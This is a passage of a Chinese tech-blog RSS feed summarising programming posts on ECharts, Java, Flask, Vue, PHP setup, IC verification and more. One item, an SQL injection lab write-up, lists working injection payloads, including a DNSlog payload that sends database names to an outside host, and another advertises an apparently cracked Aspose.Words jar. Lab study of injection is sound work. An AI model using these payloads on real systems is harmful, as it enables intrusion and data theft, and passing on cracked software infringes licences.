      <description>图表样式需求： 除了最顶端的堆叠块有圆角效果，其余堆叠块保持平角&#xA;实现思路： 遍历每根柱条的数据，找到第一块值不为0的元素，为它设置itemStyle：{borderRadius：[4,4,0,0]}属性，其中borderRadius的值代表（左上，右上，右下，左下）区域的圆角大小，可根据项目需求修改 写法一：直接给series设置该属性，会应用到该系列的每一个数据块身上，即堆叠的每一层数据都有圆角效果&#xA;series: { name: &#39;分数&#39;, type: &#39;bar&#39;, data: [], itemStyle: { barBorderRadius: [4, 4, 0, 0] } }, 写法二： 将itemStyle属性添加到指定data数据中的指定数值里，这样就可以根据需求添加圆角效果啦~ 如下代码就能够实现指定值为20的元素拥有圆角效果.&#xA;data: [ { value: 20, itemStyle: { barBorderRadius: [4, 4, 0, 0], } },{ value: 10, itemStyle: { barBorderRadius: [0, 0, 0, 0], } }, { value: 20, itemStyle: { barBorderRadius: [4, 4, 0, 0], } } ] 实现顶部圆角效果：&#xA;先遍历单个series的data，得到柱条总数；内层循环整个series，从上至下遍历单个series的data数据，不为0则为它设置itemStyle：{borderRadius：[4,4,0,0]}属性，并结束本柱条所有系列的遍历。&#xA;// series一次性获取填入数据 series.push({ name: legs[i], type: &#39;bar&#39;, stack: &#39;x&#39;, data: tempNum }); // 设置柱条顶层圆角 for (let i in series[0].</description>
    </item>
    <item>
      <title>解决vscode Better Comments插件在vue文件中不显示相对应的颜色</title>
      <link>https://bchobby.github.io/posts/e83fae4208d531f4ed321085cbc514f8/</link>
      <pubDate>Wed, 07 Sep 2022 13:39:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e83fae4208d531f4ed321085cbc514f8/</guid>
      <description>最近使用了Better Comments这款插件，发现在ts文件中可以显示对应的颜色，但在vue文件中并不显示对应颜色 解决方法如下： 打开插件的配置文件夹，即 c盘 -&amp;gt; 用户 -&amp;gt; 用户名 -&amp;gt; .vscode文件夹&#xA;extensions目录 -&amp;gt; bttter-comments配置文件夹&#xA;打开配置文件&#xA;aaron-bond.better-comments-3.0.2 -&amp;gt; out -&amp;gt; parser.js&#xA;修改配置文件，添加如下代码&#xA;case &#34;vue&#34;: this.setCommentFormat(&#34;//&#34;, &#34;/*&#34;, &#34;*/&#34;) break; 5. 保存代码，重启vscode即可</description>
    </item>
    <item>
      <title>面试手撕代码——链表反转（递归、迭代）</title>
      <link>https://bchobby.github.io/posts/a653132591602c6b325da0bbf51dee76/</link>
      <pubDate>Wed, 07 Sep 2022 10:50:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a653132591602c6b325da0bbf51dee76/</guid>
      <description> 递归&#xA;class Solution { public: ListNode* ReverseList(ListNode* head) { if(!head||!head-&amp;gt;next) return head; ListNode* ans = ReverseList(head-&amp;gt;next); head-&amp;gt;next-&amp;gt;next = head; head-&amp;gt;next = NULL; return ans; } }; 迭代&#xA;class Solution { public: ListNode* ReverseList(ListNode* pHead) { if(!pHead) return NULL; ListNode* pre = NULL,*cur = pHead,*nex = NULL; while(cur){ nex = cur-&amp;gt;next; cur-&amp;gt;next = pre; pre = cur; cur = nex; } return pre; } }; </description>
    </item>
    <item>
      <title>记录一个FeginClient调不通 报Connection Refused的坑</title>
      <link>https://bchobby.github.io/posts/c790e4998ea3a4c3129a2f5db7383e26/</link>
      <pubDate>Wed, 07 Sep 2022 10:14:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c790e4998ea3a4c3129a2f5db7383e26/</guid>
      <description>记录一个FeginClient调不通 报Connection Refused的坑&#xA;1.背景 项目开发的时候，有一个微服务，本地Dev环境走FeginClient是可以调通的，但一上测试环境，UAT环境，就一直报Connection Refused，本地无法复现，别的环境又必现，为了赶进度当时就采取直连的方式调用&#xA;2.排查过程 我百度查询后，总结了一下，主要有以下几种结果：&#xA;2.1、服务未注册&#xA;2.2、服务名不一致、eureka注册中心不一致&#xA;2.3、注册到eureka上的是hostname，不是IP+端口号&#xA;2.4、多网卡导致eureka注册的IP问题&#xA;2.5、服务器该端口是否能通讯，是否被防火墙拦截&#xA;按以上的都试过，还是报Connection Refused，实在没办法了，想到Dev环境是可以直接走服务名调用的，我把Dev和测试环境 eureka的配置拿出来比较，发现了测试环境多了下面一行配置&#xA;eureka.instance.non-secure-port=80 我立马拉去百度了一下&#xA;而且eureka.instance.non-secure-port-enabled 这一配置默认值为true，从这里可以看出调用FeginClient是走80端口，而不是服务启动的端口号，eureka注册中心拿到的是服务启动端口，但微服务有指定了80端口才能被FeginClient调用，所以就会报Connection Refused&#xA;本地Dev加上这一配置，直接复现&#xA;3.解决方案 方案一：去掉 eureka.instance.non-secure-port=80这一项配置&#xA;方案二：eureka.instance.non-secure-port=你服务启动的端口号&#xA;方案一本人已试过，方案二未尝试（欢迎其他小伙伴试一下）</description>
    </item>
    <item>
      <title>IC验证秋招笔记</title>
      <link>https://bchobby.github.io/posts/226fbcd946e46054a385f3f1fdaa1998/</link>
      <pubDate>Tue, 06 Sep 2022 22:21:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/226fbcd946e46054a385f3f1fdaa1998/</guid>
      <description>1、wire型和reg型的区别 wire型数据常用来表示用以assign关键字指定的组合逻辑信号，reg型相当于储存器的基础上，可以看做是一个一个的寄存器，当触发条件达成时，寄存器的内容才发生改变，否则一直保持上一个状态。&#xA;wire型相当于是一根连线。&#xA;reg型相当于是储存器&#xA;注：reg型常被用于always模块内，也可以在initial里。而always模块内被赋值的每一个信号必须被定义成reg型。&#xA;2、顺序和并行 Verilog模块中所有的过程块（如initial块，always块）、连续赋值语句、实例引用都是并行的。对于过程块，在Verilog模块中是并行执行的，但在内部是顺序执行，如always内部顺序执行。&#xA;注：initial块只执行一次，而always块不断反复执行，直到仿真结束。&#xA;3、Verilog里为什么不用花括号{}而用begin...end？ C语言中花括号{}的作用：就是把多个单条语句用花括号{}括起来组成一个结构上可以认为是一个复合语句。&#xA;而Verilog里自上而下的程序性代码用begin...end类似于C语言里的{}，但是却不能用{}，但是在约束constraint以及coverpoint的内容要用{}围起来，因为这里是声明性代码（声明语言），是并行的。&#xA;Verilog里面用begin...end关键字，用于多语句组成顺序块。Verilog 里｛｝还有两个基本作用，一个是拼接，一个是复制，如下&#xA;{ }表示拼接，{第一位，第二位…}；{{ }}表示复制，{4{a}}等同于{a,a,a,a}；&#xA;所以{4{1‘b1}}就表示将6个1拼接起来，即4’b1111 4、描述一下 code coverage 和 function coverage 的区别，为什么需要这些 coverage？ 验证中，代码覆盖率是指衡量哪些设计代码在激活触发，而哪一些则一直处 于非激活状态的统计数据 ，而功能覆盖率指我们对设计所实现功能特性的收集 。&#xA;即使我们可以达到 100%的代码覆盖率，但这并不意味着 100%的功能覆盖率。原因在于代码覆盖率并不是用来衡量设计内部的功能运转，或者模块之间的互动，或者功能时序的触发等。代码覆盖率可以通过仿真器完成自动收集。&#xA;类似地，我们即便达到了 100%功能覆盖率，也可能只达到了 90%的代码覆盖率。 原因可能在于我们疏漏了去测试某些功能，或者一些实现的功能并没有被描述。 功能覆盖率需要通过人为定义，与拆分的待测功能点做一一映射。&#xA;从上述关于代码覆盖率和功能覆盖率简单的论述就可以证明， 没有任何一种单一的覆盖率可以完备地去衡量验证过程 ，如果想要得到全面的验证精度，我们就需要多个覆盖率种类的指标。&#xA;注:&#xA;代码覆盖率 100% 不代表功能没问题。&#xA;（1）功能覆盖率高但是代码覆盖率低&#xA;分析未覆盖到的代码，推断仿真是否有遗漏的功能点，代码是否为冗余或不可达代码；&#xA;（2）功能覆盖率低但是代码覆盖率高&#xA;仿真用例没有关注到一些功能点，需要修改测试用例&#xA;5、定宽数组、动态数组、关联数组、队列各自的特点和使用 定宽数组：定宽，顾名思义就是一个确定的状态，是一个静态数组，编译时就已经确定了大小。其可分为压缩数组和非压缩数组，压缩数组是定义在类型的后面，名字的前面，例如 Bit[7:0][3:0]name，而非压缩数组是定义在名字的后面，例如Bit[7:0]name[3:0]。&#xA;动态数组：与静态数组不一样，编译时还未确定大小，只有在其内存空间运行时才能确定大小，使用前需要new[]进行空间分配。&#xA;关联数组：其主要针对超大空间但是又不全部需要所有数据时使用，这类似与Java里面的Hash，通过一个索引值的一个数组组成，且索引值必须唯一。例如bit [63:0] name[bit[63:0]]。&#xA;队列：队列结合了数组和链表的特点，可以在一个队列的任何位置进行增加或者删除元素。其通过[$]这样的符号进行申明：int q[$]。&#xA;6、结构体和联合体的区别 结构体 struct，其相比于其他数据结构，主要的特点就是可以由不同类型的数据类型变量组成，然后可以对这个结构体进行操作。Struct {bit [2:0] a,int c}name;&#xA;联合体 union 是对同一个内存变量可以有不同类型，比如一个寄存器有时 候为整数，有时为小数。&#xA;7、简述在 TB 中使用 interface 和 clocking block 的好处 Interface 是一组接口，用于对信号进行一个封装，捆扎起来。如果像 verilog 中对各个信号进行连接，每一层我们都需要对接口信号进行定义，若信号过多， 很容易出现人为错误，而且后期的可重用性不高。因此使用 interface 接口进行连 接，不仅可以简化代码，而且提高可重用性，除此之外，interface 内部提供了其他一些功能（引入delta_cycle）用于测试平台与 DUT 之间的同步和避免竞争。</description>
    </item>
    <item>
      <title>安鸾靶场之SQL注入实操</title>
      <link>https://bchobby.github.io/posts/6fac93f4db0fd2de3961fa23c2361ac3/</link>
      <pubDate>Tue, 06 Sep 2022 21:54:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6fac93f4db0fd2de3961fa23c2361ac3/</guid>
      <description>sql注入是通过将恶意的 sql 查询或添加语句插入到应用的输入参数中，再在后台 sql 服务器上解析执行进行的攻击。&#xA;一、SQL注入划分 以技术手段可分类为 联合查询&#xA;?id=1 and 1=2 UNION SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,DATABASE(),NULL,NULL,NULL 报错注入&#xA;// select构造 ?id=1 AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT((SELECT database()),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) // insert、update、delete构造 1&#39; or updatexml(1,concat(0x7e,(select version())),0) or &#39;1 时间盲注&#xA;AND (SELECT * FROM (SELECT(SLEEP(1-(IF(ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),4,1))&amp;gt;1,0,1)))))BtGL) 布尔盲注&#xA;AND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1))&amp;gt;64 堆叠注入&#xA;&#39;;show tables;show column from `users`# DNSlog注入&#xA;and if((select load_file(concat(&#39;\\\\&#39;,(select databases()),&#39;wnww82.dnslog.cn\\xxx&#39;))),&#39;true&#39;,&#39;false&#39;) 以注入场景可划分为 数字型：当输入参数为数字类型时，例如页码，ID等，存在注入时则为数字类型的注入。字符型：当输入参数为字符串类型时，则为字符串类型的注入，其与数字类型的注入的区别在于：注入时需要使用 ’ 来闭合。搜索型：当注入场景位于搜索框时，则为搜索型注入，会向数据库查询数据并返回于前端，若未设置过滤，则存在注入的可能。注入时需要使用 %’ 来闭合。伪静态：伪静态技术是指展示出来的是以html一类的静态页面形式，但其实是用PHP一类的动态脚本来处理的。GET、POST、COOKIE注入HTTP头注入 X-Forwarded-For：是HTTP头的一个字段。它被认为是客户端通过HTTP代理或者负载均衡器连接到web服务端获取源ip地址的一个标准。Useragent：是记录软件程序的客户端信息的HTTP头字段，他可以用来统计目标和违规协议。在HTTP头中应该包含它，这个字段的第一个空格前面是软件的产品名称，后面有一个可选的斜杠和版本号。Referer：当应用程序没有过滤存储到数据库时，容易发生SQL注入的HTTP头。它是一个允许客户端指定的可选头部字段，通过它我们可以获取到提交请求URI的服务器情况。它允许服务器产生一系列的回退链接文档，像感兴趣的内容，日志等。它也允许跟踪那些坏链接以便维护。 宽字节注入： 宽字节注入源于程序员设置MySQL连接时的错误配置,如下： set character_set_client=gbk</description>
    </item>
    <item>
      <title>ubuntu 解决QTCreator 拖影问题</title>
      <link>https://bchobby.github.io/posts/81247d34e7ec1bc178133460b3d6b661/</link>
      <pubDate>Tue, 06 Sep 2022 18:57:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/81247d34e7ec1bc178133460b3d6b661/</guid>
      <description>Ubuntu 22.04的渲染系统好像改成了Wayland，于是我想也许禁用Wayland就一切正常了，于是编辑文件“/etc/gdm3/custom.conf”，加了一句“WaylandEnable=false”，重启系统一切都正常了……</description>
    </item>
    <item>
      <title>Java去除字符串中空格、制表符、回车换行的方法</title>
      <link>https://bchobby.github.io/posts/7ce021e8a73a2d73d1f08ce107791e97/</link>
      <pubDate>Tue, 06 Sep 2022 18:27:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7ce021e8a73a2d73d1f08ce107791e97/</guid>
      <description>\t 是制表符&#xA;\r\n 回车换行 注意：\r,\n的顺序是不能够对换的，否则不能实现换行的效果．&#xA;操作系统的不同，换行符操也不同：&#xA;\r： return 到当前行的最左边。&#xA;\n： newline 向下移动一行，并不移动左右。&#xA;Linux中表示：回车+换行；&#xA;Windows中表示：回车+换行。&#xA;Mac中表示：回车+换行。&#xA;1、方法分类&#xA;str.trim(); //去掉首尾空格&#xA;str.replace(&#34; &#34;,&#34;&#34;); //去除所有空格，包括首尾、中间&#xA;str.replaceAll(&#34; &#34;, &#34;&#34;); //去掉所有空格，包括首尾、中间&#xA;str.replaceAll(&#34; +&#34;,&#34;&#34;);//去掉所有空格，包括首尾、中间&#xA;str.replaceAll(&#34;\s*&#34;, &#34;&#34;); //可以替换大部分空白字符， 不限于空格 ；&#xA;\\s* 可以匹配空格、制表符、换页符等空白字符的其中任意一个。&#xA;2、上代码&#xA;String str=&#34; 111\r\n\t22 222 3 &#34;;&#xA;System.out.println(str.trim());&#xA;System.out.println(str.replace(&#34; &#34;,&#34;&#34;));&#xA;System.out.println(str.replaceAll(&#34; &#34;, &#34;&#34;));&#xA;System.out.println(str.replaceAll(&#34; +&#34;,&#34;&#34;));&#xA;System.out.println(str.replaceAll(&#34;\\s*&#34;, &#34;&#34;));&#xA;3、replace和replaceAll是JAVA中常用的替换字符的方法,它们的区别是:&#xA;（1）　replace的参数是char和CharSequence,即可以支持字符的替换,也支持字符串的替换(CharSequence即字符串序列的意思,说白了也就是字符串);&#xA;（2）　replaceAll的参数是regex,即基于规则表达式的替换,比如,可以通过replaceAll(&#34;\\d&#34;, &#34;*&#34;)把一个字符串所有的数字字符都换成星号;&#xA;相同点：都是全部替换,即把源字符串中的某一字符或字符串全部换成指定的字符或字符串,如果只想替换第一次出现的,可以使用replaceFirst(),这个方法也是基于规则表达式的替换,但与replaceAll()不同的时,只替换第一次出现的字符串</description>
    </item>
    <item>
      <title>自动化测试Python &#43; selenium &#43; pywin32 实现非input表单文件上传功能</title>
      <link>https://bchobby.github.io/posts/84ca0a4f73068df6436cb8be9633806e/</link>
      <pubDate>Tue, 06 Sep 2022 18:12:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/84ca0a4f73068df6436cb8be9633806e/</guid>
      <description>前言：本次仅记录自动化测试功能，如用本技术用于任和非法用途与作者无关。&#xA;在做自动化测试时，遇到需要上传文件而且不是input表单形式的，需要从windows文件中选择文件，如下图：&#xA;遇到这种情况将可以使用pywin35库，调用windows库实现文件上传，代码与环境如下：&#xA;1.环境&#xA;python 3.7selenium 4.4.3pywin32 304 2. 代码&#xA;from selenium import webdriver import win32com.client # 找到上传文件的位置并点击 driver.find_element(by=By.XPATH, value=&#39;your xpath&#39;).click() shell = win32com.client.Dispatch(&#34;WScript.Shell&#34;) #有些系统加上\r即可 有些需要加上\r\n shell.Sendkeys(r&#39;filepath&#39; + &#39;{ENTER}&#39; + &#39;\r\n&#39;) 经过测试在该环境下，可以实现自动化测试的文件上传功能。</description>
    </item>
    <item>
      <title>flask——1：Hello,Flask!</title>
      <link>https://bchobby.github.io/posts/7bc9fbfc73b594430e76fa3b95bca9a5/</link>
      <pubDate>Tue, 06 Sep 2022 17:46:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7bc9fbfc73b594430e76fa3b95bca9a5/</guid>
      <description> 一，创建Flask项目 我这里使用的是pycharmpro版，使用community版需要先创建虚拟环境。&#xA;创建后，项目结构如下：&#xA;安装flask的同时还安装了flask所依赖的包：&#xA;二，Hello Flask 打开app.py，这是一个最小化的flask应用：&#xA;接下来将对这一个程序进行解释，从而初步了解flask框架。&#xA;1，创建程序实例 第一行：&#xA;from flask import Flask 从flask包导入Flask类， 这个类表示从flask框架中引入了Flask对象。其中：&#xA;flask包在创建flask项目时创建。Flask对象用于创建程序实例，因为web服务器使用WSGI将所有请求都转交给这个对象进行处理。 第二行：&#xA;app = Flask(__name__) 将__name__作为参数交给Flask对象，将该对象实例化为app。其中：&#xA;使用特殊参数__name__，Python会根据所处的模块来赋予__name__相应的值——所在模块的本地名称，即这里的“app”。 2，注册路由 只有定义了处理函数并能将请求映射到该函数，才能完成对请求的处理。&#xA;第六行：&#xA;@app.route(&#39;/&#39;) 这就能完成这个映射(在web应用程序中也可以叫路由)：将URL规则与处理函数进行关联。其中：&#xA;@app.route()装饰器用于完成上述的关联——注册路由。&#39;/&#39;就是一个URL规则，即根地址。访问这个地址就会触发紧相邻的下一行的函数。 第七、八两行：&#xA;def hello_world(): return &#39;Hello World!&#39; 这就是一个请求处理函数，在用户访问根地址后返回一段内容。其中：&#xA;return是必须的，因为一个视图函数必须在处理完一个请求后做出一个响应。可以给一个视图关联多个URL，只需按期望的顺序添加 @app.route() 装饰器就行。当然也能在URL中添加参数。如下： @app.route(&#39;/&#39;) @app.route(&#39;/hello/&amp;lt;name&amp;gt;&#39;) def hello_world(name): return &#39;Hello %s!&#39; % name 3，运行开发服务器 flask是自带开发服务器的，所需的运行环境可在pycharm中进行配置：&#xA;第十二、十三行：&#xA;if __name__ == &#39;__main__&#39;: app.run(debug=True) 让开发服务器能运行程序。其中：&#xA;if __name__ == &#39;__main__&#39;:告知开发服务器直接以脚本形式运行本文件。app.run()真正实现程序运行，直接在程序实例app上调用 Flask 对象的属性和方法来实现相关功能。记得在运行环境中打开调试模式。 </description>
    </item>
    <item>
      <title>Aspose.Words for Java 21.12 JDK17 去水印最新版</title>
      <link>https://bchobby.github.io/posts/9062e1198d27ae1c2ef4f0b746b5576c/</link>
      <pubDate>Tue, 06 Sep 2022 16:57:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9062e1198d27ae1c2ef4f0b746b5576c/</guid>
      <description>Java实现Office系列文件转PDF文件 关注【程序员圈内事】，回复关键字 Aspose 获取jar</description>
    </item>
    <item>
      <title>java -version</title>
      <link>https://bchobby.github.io/posts/5d7f69486483ec9123c78fb391309819/</link>
      <pubDate>Tue, 06 Sep 2022 15:55:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5d7f69486483ec9123c78fb391309819/</guid>
      <description>一、JDK下载 1.官网下载&#xA;点击官网下载地址&#xA;往下划，找到自己电脑相对应的JDK，点击下载。&#xA;二、安装步骤&#xA;初学者建议傻瓜式安装，直接点击下一步即可。&#xA;三、搭配环境变量 1.Path变量&#xA;解决方法：配置Path变量。&#xA;右键点击“此电脑”，选择属性，选择高级系统设置&#xA;打开jdk的安装目录，第一个bin目录，复制路径。&#xA;输入java -version，按回车键，显示当前Java版本号。</description>
    </item>
    <item>
      <title>什么是IMAP？</title>
      <link>https://bchobby.github.io/posts/9be1b04f5c4aafd5b6d7f855986950d4/</link>
      <pubDate>Tue, 06 Sep 2022 15:12:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9be1b04f5c4aafd5b6d7f855986950d4/</guid>
      <description>什么是IMAP？ IMAP全称是Internet Message Access Protoco，这是一种邮件协议，允许邮件客户端如QQ邮箱、163邮箱、腾讯企业邮通过IMAP协议从邮件服务器上获取邮件信息。&#xA;通过网络，你的邮件客户端通过IMAP协议从网络上获取到您邮件，当你点击阅读邮件时，你实际上并没有下载或者存储你的所有邮件，而是通过服务器阅读，所以你可以通过手机、网页、邮件客户端等不同方式和设备来阅读邮件，保证邮件并不会遗漏。&#xA;使用IMAP有什么好处？ 使用IMAP有很多优势，具体可以表现在：&#xA;1、 你可以通过服务器，从许多不同设备上获取到邮件，丰富用户使用场景。&#xA;2、 我们在阅读邮件时，并不会加载所有邮件，而是仅下载我们点击的邮件，大大节省我们等待的时间与设备的物理存储空间。&#xA;3、 附件不会通过IMAP自动下载，对于一些特别大的附件或者有安全风险的附件，都可以进行自由选择规避&#xA;4、 IMAP可以离线使用，对于网络不佳的情况下，也可以正常阅读邮件内容。&#xA;随着智能手机的普及，其功能也越来越强大，IMAP协议已经是许多邮箱首选的协议。&#xA;如何通过IMAP协议自动连接其他应用？ 在日常工作中，我们经常需要使用邮件做一些比较正式的沟通，同时也会使用到腾讯文档、腾讯会议、企业微信等应用。&#xA;通过腾讯云HiFlow场景连接器，但我们接收到新的邮件时，通过IMAP连接其他应用，可以实现：&#xA;自动化连接邮件和企微/飞书/钉钉等IM系统：例如当HR的招聘邮箱收到一个新的面试者邮件申请时，自动发送企业微信/飞书/钉钉消息，或者将面试者的简历自动归档至表格。&#xA;自动化连接邮件和表格文档：例如当公司财务邮箱收到一个新的合同时，自动将合同归档至表格。&#xA;腾讯云HiFlow场景连接器是什么产品？ 腾讯云HiFlow场景连接器是腾讯云推出的零代码的自动化工作流程平台，目前已经实现了连接了比如企业微信、腾讯会议、腾讯文档、腾讯电子签、TAPD、乐享、兔小巢、微信小商店、企点、公众号、EC SCRM、维格表、金数据、金蝶、微盛SCRM、智齿、用友、有赞等200+应用和产品的打通。&#xA;腾讯云HiFlow场景连接器通过连接多个应用程序打造符合自身业务场景的自动化方案，快速的把办公场景中一些繁复、重复、价值低的工作自动化完成，比如自动发消息通知、跨应用数据自动同步、定时处理特定任务等，帮助企业员工留出更多的时间处理更重要的工作，提升个人和企业的工作效率。</description>
    </item>
    <item>
      <title>Vue3路由传参</title>
      <link>https://bchobby.github.io/posts/a2ab92ac2537485cd242599269d4ea71/</link>
      <pubDate>Tue, 06 Sep 2022 11:43:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a2ab92ac2537485cd242599269d4ea71/</guid>
      <description>一.router-link ①不带参数 &amp;lt;router-link :to=&#34;{name:&#39;guest&#39;}&#34;&amp;gt;跳转到路由为guest页面&amp;lt;/router-link&amp;gt; &amp;lt;router-link :to=&#34;{path:&#39;guest&#39;}&#34;&amp;gt;跳转到路由为guest页面&amp;lt;/router-link&amp;gt; router-link中链接如果是**’ / &#39;**开始就是从根路由开始,如果开始不带 ’ / &#39;,则从当前路由开始.&#xA;举个栗子: 当前页面所在路由为 /home/goods 设置router-link链接&#xA;…{path:&#39;guest&#39;} 跳转后页面所在路由为 /home/guest&#xA;…{path:&#39;/guest&#39;} 跳转后页面所在路由为 /guest&#xA;②带参数 1️⃣query传参数 &amp;lt;router-link :to=&#34;{path:&#39;guest&#39;,query:{id:1}}&#34;&amp;gt;跳转到路由为guest页面&amp;lt;/router-link&amp;gt; &amp;lt;router-link :to=&#34;{name:&#39;guest&#39;,query:{id:1}}&#34;&amp;gt;跳转到路由为guest页面&amp;lt;/router-link&amp;gt; 不需要路由配置&#xA;2️⃣接收参数 &amp;lt;script setup lang=&#34;ts&#34;&amp;gt; import { useRoute } from &#39;vue-router&#39;; import { onMounted } from &#39;vue&#39;; const route = useRoute(); onMounted(() =&amp;gt; { console.log(route.query.id); //1 }) &amp;lt;/script&amp;gt; 1️⃣params传参数 &amp;lt;router-link :to=&#34;{name:&#39;guest&#39;,params:{id:1}}&#34;&amp;gt;跳转到路由为guest页面&amp;lt;/router-link&amp;gt; 路由配置path:&#34;/home/:id&#34;或者path:&#34;/home.id&#34;&#xA;路由不配置path中的参数id 第一次可请求,刷新页面id会消失&#xA;路由配置path中的参数id 刷新页面id会保留&#xA;2️⃣接收参数 &amp;lt;script setup lang=&#34;ts&#34;&amp;gt; import { useRoute } from &#39;vue-router&#39;; import { onMounted } from &#39;vue&#39;; const route = useRoute(); onMounted(() =&amp;gt; { console.</description>
    </item>
    <item>
      <title>使用hyper-v安装Ubuntu20.04</title>
      <link>https://bchobby.github.io/posts/923b1c3973d4a01dc81ffdaee7413a06/</link>
      <pubDate>Mon, 05 Sep 2022 22:05:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/923b1c3973d4a01dc81ffdaee7413a06/</guid>
      <description>前言 上大三之后接触到操作系统这门课程，想尝试接触一下Linux系统。于是有了使用hyper-v安装Ubuntu20.04的冲动。也是借鉴了大佬的文章才顺利安装。&#xA;由于使用的是win10家庭版，系统未自带hyper-v，这里借鉴了下面这位博主的做法，安装成功。&#xA;文章链接：win10 家庭中文版没有Hyper-V，这样安装一步搞定_GarenWang的博客-CSDN博客_没有hyper-v&#xA;搞定hyper-v之后开始准备Ubuntu20.04 LTS的资源，下面的这位博主在文章里给出了官网下载链接https://ubuntu.com/download/desktop&#xA;文章链接：&#xA;win10上 Hyper-V 安装 ubuntu20.04_ZChen1996的博客-CSDN博客&#xA;博主在文章里面介绍的十分详细，并且图文并茂，步骤非常清晰。&#xA;主要步骤包括： 1.新建虚拟机。&#xA;2.指定名称和存储位置（名称为Ubuntu20.04即可）。&#xA;3.根据电脑自身情况选择指定代数，分配内存，配置网络。并连接虚拟硬盘，选择下载好的Ubuntu的映像文件（选择到该文件的保存位置）。&#xA;4.完成上述操作即可开始安装（我选择的是试用Ubuntu，而安装步骤该博主的文章有非常详细的解释并附加配图）。&#xA;效果图： 安装好的虚拟机&#xA;我是配置了4096MB的内存，没有配置网络。另外退出的时候，如果直接将Hyper-v管理器退出，会发现Ubuntu还处于运行状态，选择将它处于关机状态。</description>
    </item>
    <item>
      <title>char类型与int类型的转换</title>
      <link>https://bchobby.github.io/posts/e8a92bef0f2b75d1516efaa96f50459a/</link>
      <pubDate>Mon, 05 Sep 2022 18:00:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e8a92bef0f2b75d1516efaa96f50459a/</guid>
      <description>在c语言中，char类型与int类型可以转换，如何转换我在此做一个粗略的总结&#xA;首先是char转换为int&#xA;#include &amp;lt;stdio.h&amp;gt; int main() { char a ; a = 110; int c = a; printf(&#34;%c\n&#34;, a); printf(&#34;%d\n&#34;, a); printf(&#34;%d&#34;, c); return 0; } 结果为：n 110 110&#xA;即将ASC码强制转换为int&#xA;但当输入的数字大于127（ASC码的最大值）时，-128和127就像转盘一样连在一起，如果上述代码中a=128，则输出 一个意义不明的符号（因为-128在ASC码中没意义） -128 -128&#xA;如果a=256，则输出：空字符 0 0；即像轮盘一样转了回来。&#xA;同理，如果先定义int a=110再将其强制转换成char，即是将其转换成asc在打印出字母，若a在128~255间，则打印意义不明的字符，到256重新从0开始。&#xA;更多详情可以参考：(195条消息) char与int等数据类型的强制转化_THEALVA的博客-CSDN博客_int类型强制转换成char</description>
    </item>
    <item>
      <title>Ubuntu 22.04 | 20.04 |18.04 上安装 PHP 8.1</title>
      <link>https://bchobby.github.io/posts/8a76e73bfb096d82194f7010aaa97acf/</link>
      <pubDate>Mon, 05 Sep 2022 17:03:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8a76e73bfb096d82194f7010aaa97acf/</guid>
      <description>步骤一 更新Ubuntu&#xA;sudo apt update &amp;amp;&amp;amp; sudo apt -y upgrade&#xA;重启系统 sudo systemctl reboot&#xA;步骤二 然后添加另外的ppa源 添加 Ondřej Surý PPA 存储库&#xA;sudo apt update&#xA;sudo apt install lsb-release ca-certificates apt-transport-https software-properties-common -y sudo add-apt-repository ppa:ondrej/php&#xA;出现以下文字，按下：回车 enter按键：&#xA;添加新的源后，更新多一次apt&#xA;sudo apt update&#xA;步骤三 在 Ubuntu 22.04|20.04|18.04 上安装 PHP 8.1 sudo apt install php8.1&#xA;安装完成后，输入php --version 可以看到版本信息&#xA;步骤四：在 Ubuntu 22.04|20.04|18.04 上安装 PHP 8.1 扩展 sudo apt install php8.1-&amp;lt;extension&amp;gt; extension 可以替换任意需要的扩展名称&#xA;sudo apt install php8.</description>
    </item>
    <item>
      <title>G1垃圾收集器</title>
      <link>https://bchobby.github.io/posts/77f6bf28f06954fa30fbcde277107642/</link>
      <pubDate>Mon, 05 Sep 2022 17:00:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/77f6bf28f06954fa30fbcde277107642/</guid>
      <description>简介 G1 收集器是一款主要面向服务端应用的垃圾收集器，特点是以极高概率满足GC停顿时间的要求（可预测的停顿），同时具备高吞吐性能。&#xA;堆内存划分 虽然 G1 收集器也遵循分代收集理论，但其堆内存的布局与其他收集器有非常明显的差异：&#xA;G1 不再坚持固定大小和固定数量的分代区域划分，而是把连续的 Java 堆划分为约2048个个大小相等的分区（Region），每个 Region 都可以根据需要，扮演新生代的 Eden 空间、Survivor 空间，或者老年代空间。Region 中还有一类特殊的 Humongous 区域，专门来存储大对象（大小超过一个 Region 容量的一半）；而对于超过整个 Region 的超大对象，将会被存在 N 个连续的 Humongous Region 中（G1 的大多数行为都把 Humongous Region 作为老年代的一部分看待）。从分代上看,G1依然属于分代型垃圾回收器,它会区分年轻代和老年代,年轻代依然有Eden区和Survivor区。但从堆的结构上看,它不要求整个Eden区、年轻代或者老年代都是连续的,也不再坚持固定大小和固定数量。（一个region有可能属于Eden、Survivor、Old或者Humongous区域，但是一个region只可能属于一个角色） G1 收集器的堆内存划分如图所示：&#xA;图片中E指Eden, S是Survivor, H指Humongous, O是Old, 空白区域是可用分区。&#xA;停顿时间模型 停顿时间模型（Pause Prediction Model）：指定在一个长度为 M 毫秒的时间片段内，消耗在垃圾收集上的时间大概率不超过 N 毫秒。&#xA;G1 收集器之所以能建立可预测的停顿时间模型，是因为它将 Region 作为单次回收的最小单元（每次收集到的内存空间都是 Region 大小的整数倍），这样可以有计划地避免整个 Java 堆进行全区域垃圾收集。更具体的处理思路：让 G1 